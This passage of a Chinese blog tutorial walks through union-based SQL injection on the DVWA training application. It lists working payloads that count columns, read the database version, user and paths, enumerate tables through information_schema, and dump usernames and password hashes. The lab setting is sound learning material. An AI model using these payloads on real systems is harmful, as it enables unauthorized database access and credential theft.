MySQL注入试用_DVWA亲测SQL注入漏洞

当然,我们也可以使用注释来注释后面的单引号

sql中注释 单行可以使用 #(忽略) --(忽略),多行使用//

我们试试1' #

e76c8e8193b52e73d703c7bffe76684e.png

下面我们来利用漏洞获取数据库信息

大概步骤就是:

1.猜解所查询的字段数目

2.获取字段显示位

3.通过显示位获取数据库信息

4.获取数据库中的表名

5.获取表中的列名(字段)

6.导出数据库中的数据

7.验证导出数据的有效性

猜解所查询的字段数

方式1: order by num

若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目

输入:

1' order by 2 #

775661dfa65696b65771c0d0bd37b22d.png

1' order by 3 #

ba3f3d37f65a30056a8344c990fa732b.png

报错,说明数据表中只有两个字段

方式二:union select 1,2,3...

若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数

输入:union select 1,2 #

7dab7b2fd5163f89009bf5393877ddb4.png

输入:union select 1,2.3 #

e0ab413274738a3c4d8051bdb422dbd5.png

获取字段的显示位

1' union select 1,2 #

4100b3041ec7066b5d61af4faebe338f.png

既然显示位显示的是我们设定数值,那么我们就通过显示位获取数据,输出出来

通过显示位获取数据库信息

此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)

获取当前连接的数据库名称、DBMS的版本(Mysql的版本)

1' union select database(),version() #

f3e781db84d714a25070f9a260b89aff.png

获取当前连接数据库的用户

1' union select 1,user() #

ec2766aa875e4b16a1c182e05f2e2eb3.png

获取服务器的操作系统、数据库的存储目录

1' union select @@version_compile_os,@@datadir #

0f03dbf49954079145a112fd4f235c35.png

获取数据库中所有数据库名

在此之前,科普一下数据库的知识

mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息

information_schema.schemata 记录所有的数据库名称

Information_schema.tables: 记录表名信息的表(也有数据库名字段)

Information_schema.columns: 记录列名信息的表(数据库名、表名、字段名)

1' union select 1,schema_name from information_schema.schemata # 可能是权限问题,没有全部爆出来

e0e2f3c22fdc6499201c1deb6fcb2123.png

去数据库执行是这样的

d85f70b18bda21f2d52706fb44b94304.png

我们发现数据库dvwa正是我们想要的,因此,通过此数据库,去爆表

获取当前连接数据库(dvwa)中的所有表

1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #

where .. 后面表示的限制的条件,只查数据库名是dvwa的表

5495bd657e324bd0f0cc175ebe508c69.png

获取表中的列名(字段)

1' union select 1,column_name from information_schema.columns where table_name="users" #

60cb745a8a07fc35e03f21f250495cf9.png

这样输出有点乱,我们使用group_concat()将他们简单的输出出来

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

b38c3b3a23c403af2e3b011f2730ba95.png

如果你觉得有点挤,看的不舒服的话,你可以

1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #

4cce93587ab3ca1df56f64fb67e6ac16.png

这样是不是就明显多了?关于group_concat(),还有concat()可以自行百度学习

知道了数据库的表名、字段名就可以爆表了

爆表

1' union select 1,concat(user,'--',password) from users #

843f48e3c372738a70a4cc199453b29a.png

还有其他更多的导出操作,一些导出函数的使用,可以自行尝试

验证导出数据的有效性

eed1805ef43f834158660925a84e092e.png

OK!!

Medium

只是闭合方式不同

4b5a0e86501e1685327237a657a19839.png

其余操作步骤与上差不多

high

a844ad064d0117339203295269545852.png

想办法闭合,其他就自然好起来了!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值